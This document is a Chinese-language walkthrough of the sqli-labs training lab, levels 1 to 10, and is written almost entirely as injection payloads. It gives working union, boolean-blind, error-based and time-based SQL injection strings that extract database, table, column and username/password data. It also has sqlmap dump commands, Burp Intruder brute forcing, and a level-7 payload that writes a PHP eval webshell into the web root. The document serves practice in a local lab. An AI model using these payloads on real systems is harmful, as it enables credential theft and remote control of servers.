less-1
判断sql注入是数字型/字符型方法
数字型:
?id=1 and 1=2 页面返回错误
?id=1 or 1=2 页面返回正常
字符型:
?id=1' 页面返回错误
?id=1'--+ 页面返回正常
//sql语句中'--'起注释作用,'+'代表空格
联合查询
//要求每条查询语句的查询列数一致
1.判断表格列数
?id=1' order by n--+ 不报错
?id=1' order by (n+1)--+ 报错
得到表格有3列
2.判断回显点
?id=-1' union select 1,2,3--+
//id=-1使前面语句查询错误,让出回显位给后面的查询结果
爆出回显点2、3
3.获取当前数据库名,版本号
?id=-1' union select 1,database(),version()--+
得到数据库名security,版本号5.7.26
//查所有数据库
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
4.查所有表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
5.查所有字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
6.查所有账号和密码
?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+
less-2
数字型
less-3
')闭合
less-4
")闭合
less-5
页面无回显,不能用联合注入
布尔盲注
1.判断数据库名长度
?id=1' and length((select database()))=n--+
或?id=1' and length((select database()))<n--+
或?id=1' and length((select database()))>n--+
2.逐个判断数据库名各字符
?id=1' and ascii(substr((select database()),1,1))=n--+
3.判断表名长度
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=n--+
4.逐个判断表名各字符
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))=n--+
5.判断字段名长度
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))=n--+
6.逐个判断字段名各字符
?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1))=n--+
7.判断账号和密码名长度
?id=1' and length((select group_concat(concat_ws('~',username,password)) from users))=n--+
8.逐个判断账号和密码名各字符
?id=1' and ascii(substr((select group_concat(concat_ws('~',username,password)) from users),1,1))=n--+
less-6
报错注入
1.获取数据库名
?id=1" and updatexml(1,concat(1,(database()),1),1)--+
2.获取表名
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),1),1)--+
3.获取字段名
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1),1)--+
4.获取账号和密码名
?id=1" and updatexml(1,concat(1,(select group_concat(concat_ws('~',username,password)) from users),1),1)--+
less-7
'单引号报错,''两个单引号正常回显,说明是单引号闭合,经测试发现是'))闭合
注意"use outfile"要我们利用文件上传
一句话木马
注意的是,可能存在文件读写权限问题,需在MySQL\my.ini中加入“secure_file_priv=”并重启MySQL
?id=1')) union select 1,2,'<?php @eval($_POST["passwd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\test.php"--+
若成功上传木马,可利用into_outfile函数获取数据库名、表名等
eg.?id=1')) union select 1,2,database() into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\test1.txt"--+
less-8
?id=1'--+
?id=1' and sleep(5)--+
判断存在时间注入
intruder爆破
burp抓包后发送给intruder
1.爆数据库名长度
攻击类型选择sniper,设置payload位置
设置payload,开始攻击
得到库名长度为8
2.爆数据库名
攻击类型选择cluster bomb,设置payload位置
设置payload,开始攻击
得到库名security
后依次爆表名、字段和账号密码
less-9
sqlmap扫描
1.爆出所有数据库
sqlmap -u "http://localhost/sqli/Less-9/?id=1" --dbs
2.爆出数据库security的所有表
sqlmap -u "http://localhost/sqli/Less-9/?id=1" -D security --tables
3.爆出users表中的所有的字段
sqlmap -u "http://localhost/sqli/Less-9/?id=1" -D security -T users --columns
4.爆出账号和密码
sqlmap -u "http://localhost/sqli/Less-9/?id=1" -D security -T users -C username,password --dump
less-10
"双引号闭合,后同上